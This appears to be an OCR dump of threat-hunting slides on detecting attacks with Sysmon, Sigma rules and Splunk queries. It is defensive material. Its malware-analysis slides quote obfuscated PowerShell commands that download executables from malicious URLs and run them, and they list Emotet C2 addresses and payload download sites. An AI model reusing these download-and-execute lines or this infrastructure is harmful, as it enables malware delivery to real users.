A Threat hunter's playbook to aid the development of techniques and hypothesis for hunting campaigns by leveraging **Sysmon** and **Windows Events** logs. This project will provide specific chains of events exclusively at the host level so that you can take them and develop logic to deploy queries or alerts in your preferred tool or format such as Splunk, ELK, Sigma, GrayLog etc. This repo will follow the structure of the MITRE ATT&CK framework which categorizes post-compromise adversary behavior in tactical groups.

Goals

- Expedite the development of techniques and hypothesis
- Help Threat Hunters understand patterns of attack
- Reduce the number of false positives while hunting
- Provide enough resources to help on the development of hunting queries
- Share technical hunt concepts and techniques

Resources

- [MITRE ATT&CK](#)
- [MITRE CAR](#)
- [Sqrrl Hunting Techniques](#)
- [Sysmon DFIR](#)
- [CyberWardog Labs Blog](#)
- [MalwareSoup Blog](#)

Author

- Roberto Rodriguez [@Cyb3rWard0g](https://twitter.com/Cyb3rWard0g)

Contributors

- Andy [@malwaresoup](#)
- Michael Haggis [@M_Haggis](#)

Florian Roth's Sigma Project

SIGMA

Sigma

Make Security Monitoring Great Again

Sigma
Make Security Monitoring Great Again
Florian Roth, January 2017

1 of 15

375 views

Sigma - Generic Signatures for SIEM Systems

Florian Roth's Sigma Project



Sigma Format

Generic Signature Description

Sigma Converter

Applies Predefined and Custom Field Mapping

Elastic Search Queries

Splunk Searches

...

Sigma
Systems

Florian Roth's Sigma Project

GitHub, Inc. [US] | <https://github.com/Neo23x0/sigma/tree/master/rules/windows/sysmon>

Neo23x0 / sigma

Code Issues 10 Pull requests 0 Projects 0 Wiki Pulse Graphs

Branch: master ▾ sigma / rules / windows / sysmon / Create new file Upload files Find file History

Florian Roth regsvr32 Anomalies Latest commit a5c3f42 10 hours ago

..

sysmon_bitsadmin_download.yml	Added reference	9 days ago
sysmon_malware_backconnect_ports.yml	Rules: Suspicious locations and back connect ports	28 days ago
sysmon_malware_verclsid_shellcode.yml	Sysmon as 'service' of product 'windows'	a month ago
sysmon_mimikatz_detection_lsass.yml	Sysmon as 'service' of product 'windows'	a month ago
sysmon_mimikatz_inmemory_detection.yml	Sysmon as 'service' of product 'windows'	a month ago
sysmon_mshta_spawn_shell.yml	Minor fix > list to single value	10 hours ago
sysmon_office_macro_cmd.yml	Sysmon as 'service' of product 'windows'	a month ago
sysmon_office_shell.yml	MSHTA Rule v1	4 days ago
sysmon_password_dumper_lsass.yml	Sysmon as 'service' of product 'windows'	a month ago
sysmon_powershell_download.yml	Sysmon as 'service' of product 'windows'	a month ago

Florian Roth's Sigma Project

GitHub, Inc. [US] | <https://github.com/Neo23x0/sigma/tree/master/rules/windows/sysmon>

Neo23x0 / sigma

Branch: master [Watch](#) 48 ⭐ Star 177 ⌂ Fork 28

[Find file](#) [Copy path](#)

sigma / rules / windows / sysmon / **sysmon_mimikatz_detection_lsass.yml**

Florian Roth Sysmon as 'service' of product 'windows' a0047f7 on Mar 13

0 contributors

17 lines (16 sloc) | 628 Bytes [Raw](#) [Blame](#) [History](#) [Print](#) [Edit](#) [Delete](#)

```
1 title: Mimikatz Detection LSASS Access
2 status: experimental
3 description: Detects process access to LSASS which is typical for Mimikatz (0x1000 PROCESS_QUERY_ LIMITED_INFORMATION, 0x0400 PROCES
4 reference: https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB\_V1J5
5 logsource:
6   product: windows
7   service: sysmon
8 detection:
9   selection:
10    - EventID: 10
11      TargetImage: 'C:\windows\system32\lsass.exe'
12      GrantedAccess: '0x1410'
13   condition: selection
14 falsepositives:
15   - unknown
16 level: high
```

Florian Roth's Sigma Project

Application Number of events: 9,921 (!) New events available

Level	Date and Time	Source
Information	5/9/2017 1:26:32 PM	Windows Error Repo...
Error	5/9/2017 1:26:29 PM	Application Error
Information	5/9/2017 1:18:28 PM	Windows Error Repo...

Event 1001, Windows Error Reporting

General Details

Fault bucket , type 0

Event Name:
Response: No
Cab Id: 0

Problem sign:
P1: MsMpEng
P2: 4.9.10586.
P3: 580F0a6f
P4: mpengine
P5: 1.1.12101.
P6: 55e4ceb2

 **Florian Roth** @cyb3rops · 11h
It's always a good idea to monitor Malware Protection Engine crashes as caused by @taviso's PoC code
CVE-2017-0290
[github.com/Neo23x0/sigma/...](https://github.com/Neo23x0/sigma/) pic.twitter.com/ciPJEFHaUP

Log Name: Application
Source: Windows Error Reporting Logged: 5/9/2017 1:26:32 PM
Event ID: 1001 Task Category: None
Level: Information Keywords: Classic

 **Florian Roth** @cyb3rops · 11h
It's always a good idea to monitor Malware Protection Engine crashes as caused by @taviso's PoC code
CVE-2017-0290
[github.com/Neo23x0/sigma/...](https://github.com/Neo23x0/sigma/) pic.twitter.com/ciPJEFHaUP

Florian Roth's Sigma Project

Application Number of events: 9,921 (!) N

Level	Date and Time
Information	5/9/2017 1
Error	5/9/2017 1
Information	5/9/2017 1

Event 1001, Windows Error Reporting

General Details

Fault bucket , type 0
Event Name: APPCRASH
Response: Not available
Cab Id: 0

Problem signature:
P1: MsMpEng.exe
P2: 4.9.10586.672
P3: 580F0a6f
P4: mpengine.dll
P5: 1.1.12101.0
P6: 55e4ceb2

Log Name: Application
Source: Windows Error Report
Event ID: 1001
Level: Information

```
<> win_susp_msmpeng_crash.yml • <> sysmon_susp_net_execution.yml <> win_admin_share_access.yml 🔎
1 title: Microsoft Malware Protection Engine Crash
2 description: This rule detects a suspicious crash of the Microsoft Malware Protection Engine
3 status: experimental
4 date: 2017/05/09
5 reference:
6   - https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5
7   - https://technet.microsoft.com/en-us/library/security/4022344
8 author: Florian Roth
9 logsource:
10   product: windows
11   service: application
12 detection:
13   selection1:
14     Source: 'Application Error'
15     EventID: 1000
16   selection2:
17     Source: 'Windows Error Reporting'
18     EventID: 1001
19   keyword1:
20     - 'MsMpEng.exe'
21   keyword2:
22     - 'mpengine.dll'
23   condition: selection1 or selection2 and keyword1 and 1 of keyword2
24 falsepositives:
25   - Unknown
26 level: high
```

 **Florian Roth** @cyb3rops · 11h
It's always a good idea to monitor Malware Protection Engine crashes as caused by @taviso's PoC code
CVE-2017-0290
[github.com/Neo23x0/sigma/...](https://github.com/Neo23x0/sigma/) pic.twitter.com/ciPJEFHaUP

Florian Roth's Sigma Project

The screenshot shows a terminal window with a red box highlighting the command and its output. A yellow callout bubble points from the right towards the terminal window with the text "Way to go, Neo! 😊".

```
prometheus:tools neo$ python3 sigmac.py -t splunk ../rules/windows/builtin/win_susp_msmpeng_crash.yml
(Source="Application Error" EventID="1000") OR (Source="Windows Error Reporting" EventID="1001") ("MsMpEng.exe" ("mpengine.dll"))
prometheus:tools neo$
```

Log Name: Application
Source: Windows Error Report
Event ID: 1001
Level: Information

Condition: selection1 or selection2 and keyword1 and 1 of keyword2
Falsepositives:
- Unknown
Level: high

Florian Roth @cyb3rops
It's always a good idea to monitor Malware Protection Engine crashes as caused by @taviso's PoC code
CVE-2017-0290
[github.com/Neo23x0/sigma/...](https://github.com/Neo23x0/sigma) pic.twitter.com/ciPJEFHaUP

Florian Roth @cyb3rops · 11h
It's always a good idea to monitor Malware Protection Engine crashes as caused by @taviso's PoC code
CVE-2017-0290
github.com/Neo23x0/sigma/... pic.twitter.com/ciPJEFHaUP

Thomas Patzke's EQUEL Project

 GitHub, Inc. [US] | <https://github.com/thomaspatzke/EQUEL>



EQUEL - an Elasticsearch QUery Language

The project was motivated by usage of [Elasticsearch](#) and [Kibana](#) for log analysis in incident response and as tool in [web application security testing](#). Both are great tools for this purpose, but Kibana exposes only a fraction of the power of Elasticsearch and is missing some features that would make log analysis much easier.

This project aims to create a query language for Elasticsearch with the following goals:

- Easy to understand and to write for humans (compared to Query DSL JSON expressions)
- Exposure of a big amount of Elasticsearch capabilities (compared to the usual Query String expressions)
- Extensible by plugin architecture
- Extension of Elasticsearch capabilities by post processing plugins
- Easy addition of own output formats and visualizations with output plugins
- Linear query structure instead of nesting
- "Everything fits in one line of an EQUEL expression" - especially aggregates
- Easy integration in projects that already use Elasticsearch

Credits

- Florian Roth ([@Cyb3rOps](#)) for
 - Many valuable suggestions and feedback
 - The fancy logo
- Ralf Glauberman for giving it the *EQUEL* name

Note: EQUEL is neither Splunk SPL nor SQL. It's not the idea to "emulate" one of both.

Mike Haag's Sysmon DFIR Github

GitHub, Inc. [US] | <https://github.com/MHaggis/sysmon-dfir>

Sysmon - DFIR

A curated list of resources for learning about deploying, managing and hunting with Microsoft Sysmon. Contains presentations, deployment methods, configuration file examples, blogs and additional github repositories.

Sysmon Learning Resources

- General
 - Presentations
 - How to Go from Responding to Hunting with Sysinternals Sysmon - Mark Russinovich
 - Tracking Hackers on Your Network with Sysinternals Sysmon - Mark Russinovich
 - Advanced Incident Detection and Threat Hunting using Sysmon and Splunk Video - Tom Ueltschi
 - Advanced Incident Detection and Threat Hunting using Sysmon and Splunk Slides - Tom Ueltschi
 - Splunking the Endpoint - James Brodsky
 - Splunking the Endpoint: "Hands on!" Ransomware Edition - James Brodsky & Dimitri McKay
 - Graylog
 - Ion-Storm Graylog App
 - Back to Basics- Enhance Windows Security with Sysmon and Graylog - Jan Dobersten

< MUST
< READ

Why Sysmon? RSA Con Talk M.R.

The slide features a yellow background with a red vertical bar on the left containing a white Twitter logo and the hashtag #RSAC. A large yellow silhouette of a head profile is on the left, facing right. The main title is "RSA Conference 2016" in bold black font, with "San Francisco | February 29 – March 4 | Moscone Center" below it. The subtitle is "HTA-W05". The main content is "Tracking Hackers on Your Network with Sysinternals Sysmon". The bottom right corner of the yellow section contains a small white icon of a globe with a brain-like pattern. To the right is a purple section titled "Connect Protect" with a white globe icon. Below the globe is a photo of a seated audience. The speaker's name is "Mark Russinovich", followed by "CTO, Microsoft Azure" and "Microsoft Corporation" along with the handle "@markrussinovich".

RSA Conference 2016
San Francisco | February 29 – March 4 | Moscone Center

HTA-W05

Tracking Hackers on Your Network with Sysinternals Sysmon

#RSAC

Connect Protect

Mark Russinovich
CTO, Microsoft Azure
Microsoft Corporation
@markrussinovich

Why Sysmon? RSA Con Talk M.R.

Sysmon Events



Category	Event ID
Process Create	1
Process Terminated	5
Driver Loaded	6
Image Loaded	7
File Creation Time Changed	2
Network Connection	3
CreateRemoteThread	8
RawAccessRead*	9
Sysmon Service State Change	4
Error	255

Time
stomping

DLL / Proc
Injection

*Contributed by David Magnotti

Why Sysmon? RSA Con Talk M.R.

RSA Conference 2017

San Francisco | February 13–17 | Moscone Center

SESSION ID: HTA-T09

How to Go from Responding to Hunting with Sysinternals Sysmon

 **Mark Russinovich**

CTO, Microsoft Azure
Microsoft Corporation
@markrussinovich



#RSAC



Why Sysmon? RSA Con Talk M.R.

Sysmon Events

Category	Event ID
Sysmon Service Status Changed	0
Process Create	1
File Creation Time Changed	2
Network Connection	3
Sysmon Service State Change	4
Process Terminated	5
Driver Loaded	6
Image Loaded	7
CreateRemoteThread	8
RawAccessRead	9

New event types v5 & v6
Not covered in prev talk

Category	Event ID
Process Access	10
File Create	11
Registry Object CreateDelete	12
Registry Value Create	13
Registry Object Rename	14
File Create Stream Hash	15
Sysmon Configuration Changed	16
Pipe Created	17
Pipe Connected	18
Error	255

v6



10

RSA Conference 2017

Why Sysmon? RSA Con Talk M.R.

Tracking Mimikatz

#RSAC

- I recommend always including lsass.exe process access:

```
<ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\windows\system32\lsass.exe</TargetImage>
</ProcessAccess>
```

- Mimikatz request 0x1410:

- 0x1000: PROCESS_QUERY_LIMITED_INFORMATION
- 0x0400: PROCESS_QUERY_INFORMATION
- 0x0010: PROCESS_VM_READ

- Exclude GrantedAccess of 0x1000, 0x1400, 0x400

The screenshot shows a Sysmon log entry in a Windows-style dialog box. The 'General' tab is selected. The log details a process access event. Key information includes:


- Process accessed: C:\Windows\system32\lsass.exe
- SourceProcessGUID: {889f23d9-35b2-58a1-0000-001005c7b900}
- SourceProcessId: 2220
- SourceThreadId: 4904
- SourceImage: C:\demo\mimikatz.exe
- TargetProcessGUID: {889f23d9-e575-58a0-0000-0010c64f0000}
- TargetProcessId: 544
- TargetImage: C:\Windows\system32\lsass.exe
- GrantedAccess: 0x1410
- CallTrace: C:\Windows\SYSTEM32\ntdll.dll+a5594|C:\Windows\system32\KERNELBASE.dll+1e865|C:\demo\mimikatz.exe+665e2|C:\demo\mimikatz.exe+6694d|C:\demo\mimikatz.exe+66521|C:\demo\mimikatz.exe+49da8|C:\demo\mimikatz.exe+49be7|C:\demo\mimikatz.exe+499d1|C:\demo\mimikatz.exe+6bc45|C:\Windows\system32\KERNEL32.DLL+18102|C:\Windows\SYSTEM32\ntdll.dll+5c5b4



Why Sysmon? RSA Con Talk M.R.

What's a Good Configuration?

- One that doesn't overwhelm your systems
 - Excessive resource usage
 - Excessive log volume
- Crafting is iterative:
 - Exclude known sources
 - E.g. OneDrive for file time stamp changes
 - Include sensitive targets:
 - E.g. Lsass.exe for credential theft
- When investigating likely breach, bias for data



RSAConference2017

Why Sysmon? RSA Con Talk M.R.

Best Practices and Tips

#RSAC

- Install it on all your systems
 - Proven at scale
 - Data will be there when you need it for DFIR
- Configure all event types for maximum visibility
 - Filter out noise, especially uninteresting image loads
 - Test overhead on mission-critical systems
 - Make sure event log is large enough to capture desired time window
- Forward events off box
 - To prevent deletion by attackers
 - For analyzing aggregate network behavior
 - For tracing activity between systems (e.g. pass-the-hash)



37

RSA Conference 2017

SwiftOnSecurity's Sysmon configs

 GitHub, Inc. [US] | <https://github.com/SwiftOnSecurity/sysmon-config>

sysmon-config | A Sysmon configuration file for everybody to fork

This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing.

The file provided should function as a great starting point for system change monitoring in a self-contained package. This configuration and results should give you a good idea of what's possible for Sysmon. Note that this does not track things like authentication and other Windows events that are also vital for incident investigation.

[sysmonconfig-export.xml](#)

Because virtually every line is commented and sections are marked with explanations, it should also function as a tutorial for Sysmon and a guide to critical monitoring areas in Windows systems.

Pull requests and issue tickets are welcome, and new additions will be credited in-line or on Git.

[See forks of this configuration](#)

[See @ion-storm Threat Intelligence SIEM fork](#)

Note: Exact syntax and filtering choices are deliberate to catch appropriate entries and to have as little performance impact as possible. Sysmon's filtering abilities are different than the built-in Windows auditing features, so often a different approach is taken than the normal static listing of every possible important area.

Brief Recap of BotConf 2016 Talk



Advanced Incident Detection and Threat Hunting using Sysmon (and Splunk)

Tom Ueltschi, Swiss Post CERT

Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Seite 1

Recap BotConf Talk (1/2)

Using the free Sysmon tool you can **search / alert** for known malicious process behaviors

- * Image names / paths (wrong paths)
 - svchost.exe, %APPDATA%\Oracle\bin\javaw.exe
- * CommandLine parameters
 - /stext, vssadmin delete shadows, rundll32 qwerty
- * Parent- / Child-Process relationships
 - winword.exe → explorer.exe, wscript.exe → rundll32.exe
- * Process injection
 - # winlogon.exe

Recap BotConf Talk (2/2)

Using the free Sysmon tool you can **hunt** for
suspicious process behaviors

- * Lateral movement using admin shares
 - ADMIN\$, C\$, IPC\$ (\\\\127.0.0.1\\...)
- * Internal C&C P2P comms over named pipes / SMB
 - processes using port 445 between workstations
- * Rarest processes connecting thru proxy (or directly to Internet)
 - count by hashes, IMPHASHes, clients, image names
- * Suspicious Powershell activity
 - Powershell -EncodedCommand | -enc ...

Advanced Detection (Adwind RAT)

`alert_sysmon_java-malware-infection`

JBifrost RAT

```
index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"
(Users AppData Roaming (javaw.exe OR xcopy.exe)) OR (cmd cscript vbs)
| search Image="*\AppData\Roaming\Oracle\bin\java*.exe"
OR (Image="*\xcopy.exe*" CommandLine="*\AppData\Roaming\Oracle\*")
OR CommandLine="*cscript*Retrive*.vbs"
```

Analyzed 14 processes in total ([System Resource Monitor](#)).



Detecting Keyloggers

- * Keyloggers and Password-Stealers abusing NirSoft tools
 - Limitless Logger
 - Predator Pain
 - HawkEye Keylogger
 - iSpy Keylogger
 - KeyBase Keylogger

CommandLine: <PATH-TO-EXE>*.exe /**s**text <PATH-TO-TXT>*.txt

CommandLine: <PATH-TO-EXE>*.exe /**s**comma ...

```
index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"
  (stext OR scomma )
| search CommandLine="* /stext *" OR CommandLine="* /scomma *
```

Detecting Keyloggers

* BONUS: detecting new Banking Trojan variant (Heodo/Emotet)

- wscript.exe (PID: 3064 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\DHL_Report_5299825420_Mi_Apr_05_2017.js' MD5: 979D74799EA6C8B8167869A68DF5204A)
 - rcc7suaaz.exe (PID: 3168 cmdline: 'C:\Users\LUKETA~1\AppData\Local\Temp\rcc7suaaz.exe' MD5: 5B3F0C1B0231E7873B587131B112139F)
 - rcc7suaaz.exe (PID: 3224 cmdline: 'C:\Users\LUKETA~1\AppData\Local\Temp\rcc7suaaz.exe' MD5: 5B3F0C1B0231E7873B587131B112139F)
 - AllPdb.exe (PID: 3256 cmdline: 'C:\Users\luketaylor\AppData\Roaming\AllPdb\AllPdb.exe' MD5: 5B3F0C1B0231E7873B587131B112139F)
 - AllPdb.exe (PID: 3264 cmdline: 'C:\Users\luketaylor\AppData\Roaming\AllPdb\AllPdb.exe' MD5: 5B3F0C1B0231E7873B587131B112139F)
 - AllPdb.exe (PID: 3340 cmdline: 'C:\Users\luketaylor\AppData\Roaming\AllPdb\AllPdb.exe' /scomma 'C:\Users\LUKETA~1\AppData\Local\Temp\B0D6.tmp' MD5: 5B3F0C1B0231E7873B587131B112139F)
 - AllPdb.exe (PID: 3348 cmdline: 'C:\Users\luketaylor\AppData\Roaming\AllPdb\AllPdb.exe' /scomma 'C:\Users\LUKETA~1\AppData\Local\Temp\B0E7.tmp' MD5: 5B3F0C1B0231E7873B587131B112139F)

- Link in email to download JS from web server (**DHL_Report_*.js**)
- Executing JS downloads EXE from web server
- EXE uses «/scomma» parameter (YARA: NirSoft strings in memory)

Detecting Keyloggers

* BONUS: detecting new Banking Trojan variant (Heodo/Emotet)

- wscript.exe (PID: 3064 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\DHL_Report_5299825420_Mi_Apr_05_2017.js'
MD5: 979D74799EA6C8B8167869A68DF5204A)
 - rcc7suaaz.exe (PID: 3168 cmdline: 'C:\Users\LUKETA~1\AppData\Local\Temp\rcc7suaaz.exe' MD5:
5B3F0C1B0231E7873B587131B112139F)
 - rcc7suaaz.exe (PID: 3224 cmdline: 'C:\Users\LUKETA~1\AppData\Local\Temp\rcc7suaaz.exe' MD5:

Posted 5 days, 14 hours ago by techhelpist file:80ae6507f1c5ecc9db1d063d6ea71741b34dd41994048e7336e29f38f75a390b



#geodo #heodo #emotet

c2 :

<http://109.228.13.169:443/>
<http://162.214.11.56:8080/>
<http://172.106.75.130:443/>
<http://173.255.229.121:443/>
<http://178.79.177.141:443/>
<http://188.68.58.8:8080/>

dl from :

<http://gravura.ru/download4979/>
<http://alphastudios.com/download4628/>
<http://drunkreport.com/m64055kuPD/>
<http://heitmann.net/qeBY36357Nzr/>

by a .js file that was downloaded from :

http://2626.co.jp/o2_co_uk_myo2_bill_email_9814536687/
http://www.ziyufang.studio/linglu/wp-content/plugins/wordpress-importer/o2_co_
http://garyhotko.com/o2_co_uk_myo2_bill_email_1014347050/
http://drexeldrug.com/o2_co_uk_myo2_bill_email_3929955153/

Malicious PowerShell

```
index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"  
  (powershell.exe OR cmd.exe)
```

```
| eval CommandLine2=replace(CommandLine,"[ '+'\^]", "")  
| search (Image="*\powershell.exe" OR Image="*\cmd.exe")  
  CommandLine2="*WebClient*" CommandLine2="*DownloadFile*"
```

```
"C:\Windows\System32\cmd.exe" /c powershell -command ((New-Object  
  Net.WebClient)).("Do' + 'wnloadfile')).invoke(  
  'http://unofficialhr.top/tv/homecooking/tenderloin.php',  
  'C:\Users\***\AppData\Local\Temp\spasite.exe'); &  
  "C:\Users\***\AppData\Local\Temp\spasite.exe"
```

Remove all
obfuscation chars

CommandLine2:

```
C:\Windows\System32\cmd.exe/cpowershell-command( (New-ObjectNet.WebClient) ).  
  (Downloadfile) invoke(http://unofficialhr.top/tv/homecooking/tenderloin.php,  
  C:\Users\purpural\AppData\Local\Temp\spasite.exe); &  
  C:\Users\purpural\AppData\Local\Temp\spasite.exe
```

→ De-obfuscate simple obfuscation techniques

Are all (obfuscation) problems solved?

Malicious PowerShell

```
cmd.exe /c powershell -c $eba = ('exe'); $sad = ('wnloa'); (( New-Object  
Net.WebClient ).( 'Do' + $sad + 'dfile' ).invoke(  
'http://golub.histosol.ch/bluewin/mail/inbox.php'  
'C:\Users\*****\AppData\Local\Temp\doc.' + $eba);  
start('C:\Users\*****\AppData\Local\Temp\doc.' + $eba)
```

«De-obfuscated»:

```
powershell-c$eba=(exe);$sad=(wnloa);((New-ObjectNet.WebClient)).(Do$sad+dfile)  
.invoke(http://golub.histosol.ch/bluewin/mail/inbox.phpC:\Users\*****\AppData  
\Local\Temp\doc.$eba); start(C:\Users\*****\AppData\Local\Temp\doc.$eba)
```

LNK with Powershell command

- **embedded in DOCX file** (oleObject.bin)

Sample from **2016-11-18**

d8af6037842458f7789aa6b30d6daefb	Abrechnung # 5616147.docx
2b9c71fe5f121ea8234aca801c3bb0d9	Beleg Nr. 892234-32.lnk

Query doesn't match
«DownloadFile»

Strings from oleObject.bin:

E:\TEMP\G\18.11.16\ch1\golub\Beleg Nr. 892234-32.lnk

C:\Users\azaz\AppData\Local\Temp\Beleg Nr. 892234-32.lnk

Processes connecting thru Proxy

```
index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=1
[
    search index=sysmon SourceName="Microsoft-Windows-Sysmon"
        EventCode=3 Image="*\Users\*"
        DestinationHostname="proxy.fqdn"
    | stats by ComputerName ProcessGuid
    | fields ComputerName ProcessGuid
]
| fields Hashes ComputerName Image ParentImage
| rex field=Hashes ".*\bMD5=(?<MD5>[A-F0-9]*), IMPHASH=(?<IMPHASH>[A-F0-9]*)"
| rex field=Image ".*\\\\Users\\\\(?<username>[^\\\\\\]+)\\\\.*"
| rex field=Image ".*\\\\+(?<proc_name>[^\\\\\\]+\\.\\.[eE]\\.[xX]\\.[eE]).*"
| rex field=ParentImage ".*\\\\+(?<pproc_name>[^\\\\\\]+\\.\\.[eE]\\.[xX]\\.[eE]).*"
| stats dc(ComputerName) AS CLIENTS, dc(MD5) AS CNT_MD5,
    dc(Image) AS CNT_IMAGE, values(username) AS Users,
    values(ComputerName) AS Computers, values(MD5) AS MD5,
    values(proc_name) AS proc_name, values(pproc_name) AS pproc_name
    by IMPHASH
| where CLIENTS < 15
| sort -CLIENTS
```

* IMPHASH = Import Hash

SMB traffic between WS

```
index=sysmon SourceName="Microsoft-Windows-Sysmon"
EventCode=3 Initiated=true SourceIp!=DestinationIp
DestinationPort=445 Image!=System
(SourceHostname="WS*" DestinationHostname="WS*") OR
(SourceIp="10.10.*.*" DestinationIp="10.10.*.*")
| stats by ComputerName ProcessGuid
| fields ComputerName ProcessGuid
```

- * **Search for network connections**
 - SMB protocol (dst port 445)
 - Source and destination are workstations (**hostname or IP**)
 - Use «ProcessGuid» to correlate with other event types (proc's)
- * **Search for legitimate SMB servers (filers, NAS)**
 - Create «whitelist» to exclude as legit dest

Lateral Movement (admin shares)

CS_Lateral_Movement_psexec

10/18/2016 11:17:12 PM

LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon

EventCode=1

EventType=4

Type=Information

...

Message=Process Create:

Image: **\\"127.0.0.1\ADMIN\$\8c0cb58.exe**

CommandLine: **\\"127.0.0.1\ADMIN\$\8c0cb58.exe**

CurrentDirectory: C:\Windows\system32\

User: **NT AUTHORITY\SYSTEM**

IntegrityLevel: System

ParentImage: **C:\Windows\system32\services.exe**

ParentCommandLine: C:\Windows\System32\services.exe

C:\Windows\system32\services.exe
→ \\\127.0.0.1\ADMIN\$\8c0cb58.exe

- * Search for admin share names in image paths

Lateral Movement (admin shares)

CS_Lateral_Movement_psexec

10/18/2016 11:17:13 PM

LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon

EventCode=1

EventType=4

Type=Information

...

Message=Process Create:

Image: C:\Windows\SysWOW64\rundll32.exe

CommandLine: C:\Windows\System32\rundll32.exe

CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

IntegrityLevel: System

ParentImage: \\127.0.0.1\ADMIN\$\8c0cb58.exe

ParentCommandLine: \\127.0.0.1\ADMIN\$\8c0cb58.exe

C:\Windows\system32\services.exe
→ \\127.0.0.1\ADMIN\$\8c0cb58.exe
→ C:\Windows\system32\rundll32.exe

- * Search for admin share names in image paths

Lateral Movement (proc injection)

CS_Lateral_Movement_psexec

10/18/2016 11:17:13 PM

LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon

EventCode=8

EventType=4

Type=Information

...

Message=**CreateRemoteThread detected:**

SourceProcessId: 29340

SourceImage: \\127.0.0.1\ADMIN\$\8c0cb58.exe

TargetProcessId: 18476

TargetImage: C:\Windows\SysWOW64\rundll32.exe

NewThreadId: 20060

StartAddress: 0x0000000000110000

StartFunction:

\\127.0.0.1\ADMIN\$\8c0cb58.exe
C:\Windows\system32\rundll32.exe

- * Search for rarest source or target images from proc injection

Keylogger (proc injection)

CS_Keylogger_injection

10/26/2016 11:56:32 PM

LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon

EventCode=8

EventType=4

Type=Information

...

Message=**CreateRemoteThread detected:**

SourceProcessId: 17728

SourceImage: C:\Windows\SysWOW64\rundll32.exe

TargetProcessId: 836

TargetImage: C:\Windows\System32\winlogon.exe

NewThreadId: 14236

StartAddress: 0x000000000C20000

StartFunction:

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\winlogon.exe

* Suspicious proc injection into «winlogon.exe»

* Steal user's password while logging on or unlocking screensaver



Hunting for Delivery of Malware

- * Malicious files downloaded via Browser
- * Sysmon «FileCreateStreamHash» events generated
- * Remember the malicious JS files from email links? (Heodo/Emotet)

Hunting for Delivery of Malware

- * Remember that JS Filename from before?
 - Let's hunt for that... (**DHL_Report_*.js**)

```
index=████████ SourceName="Microsoft-Windows-Sysmon" FileCreateStreamHash  
DHL_Report_*  
| search EventCode=15  
| rex field=TargetFilename ".*\\\\\\(?<TargFilename>[^\\\\\\]*\)"  
| rex field=Image ".*\\\\\\(?<ImageFilename>[^\\\\\\]*\)"  
| rex field=Hash ".*MD5=(?<MD5>[A-F0-9]*),IMPHASH=(?<IMPHASH>[A-F0-9]*)"  
| stats values(TargFilename) values(ComputerName) AS Clients  
    count by TaskCategory ImageFilename MD5
```

Hunting for Delivery of Malware

TaskCategory	ImageFilename	MD5
File stream created (rule: iexplore.exe FileCreateStreamHash)		54E17CAF7BA7F01418052C7A790D8AD3
File stream created (rule: iexplore.exe FileCreateStreamHash)		54676A15C5B8743EE50774F6F7893808
File stream created (rule: iexplore.exe FileCreateStreamHash)		CE3C10A32BD7BECE2B95CBB26E5AAF1A

values(TargFilename)	Clients	count
DHL_Report_7575787235_Di_Apr_04_2017.js	[redacted]	6
DHL_Report_7575787235_Di_Apr_04_2017.js.1dqco93.partial	[redacted]	1
DHL_Report_7575787235_Di_Apr_04_2017.js.3mwj8lb.partial	[redacted]	1
DHL_Report_7575787235_Di_Apr_04_2017.js.muiu4ox.partial	[redacted]	1
DHL_Report_3290768845_Mi_Apr_05_2017.js.q4410pq.partial	[redacted]	1
DHL_Report_7613678984_Di_Apr_04_2017.js.6xpqa0q.partial	[redacted]	1

Hunting for Delivery of Malware

virustotal

SHA256: 48f1261ea47b780a32f7dcf5212f2dc6336ca19007cc17fc6e01b38374bbcce7

File name: DHL__numer__zlecenia__3947396047____kwi__04__2017.js

Detection ratio: 34 / 57

Analysis date: 2017-04-14 06:54:15 UTC (5 days, 15 hours ago)

[Analysis](#) [Additional information](#) [Comments 3](#) [Votes](#)

File identification

MD5	54e17caf7ba7f01418052c7a790d8ad3
SHA1	738a0aa71c85a6867de22c5502211a7569c870d0
SHA256	48f1261ea47b780a32f7dcf5212f2dc6336ca19007cc17fc6e01b38374bbcce7

Hunting for Delivery of Malware

The screenshot shows the VirusTotal analysis interface for a file identified by MD5: 54676a15c5b8743ee50774f6f7893808. The interface includes a sidebar with file hash types (MD5, SHA1, SHA256) and tabs for Analysis, File identification, and Additional information. The main content area displays file metadata and a detailed analysis report.

File identification details:

- MD5: 54676a15c5b8743ee50774f6f7893808
- SHA1: eaa85efbb7926feb1e6dec956dced42ae88c9f5e
- SHA256: 161933797255b2eedc9567ac0c428bbfd0fd40d1e5264828e17e9053cf015f9d

Analysis report details:

- SHA256: 48f1261ea47b780a32f7dcf5212f2dc6336ca19007cc17fc6e01b38374bbcce7
- File name: DHL_Report_4679840701_Mi_April_05_2017.js
- Detection ratio: 31 / 52
- Analysis date: 2017-04-15 20:52:37 UTC (4 days, 1 hour ago)

Interface navigation and status:

- Analysis tab selected.
- Additional information tab.
- Comments tab (3 comments).
- Votes tab.

Hunting for Delivery of Malware

The screenshot shows the VirusTotal analysis interface. On the left, a sidebar lists file identifiers: MD5, SHA1, and SHA256. The MD5 identifier is highlighted with a red box. The main content area displays analysis results for three files:

- File 1:** SHA256: 48f1261ea47b780a32f7dcf5212f2dc6336ca19007cc17fc6e01b38374bbcce7
File name: DHL_Report_1127388378_Di_April_04_2017.js
Detection ratio: 30 / 57
Analysis date: 2017-04-14 06:50:19 UTC (5 days, 15 hours ago)
- File 2:** SHA256: 161933797255b2eedc9567ac0c428bbfd0fd40d1e5264828e17e9053cf015f9d
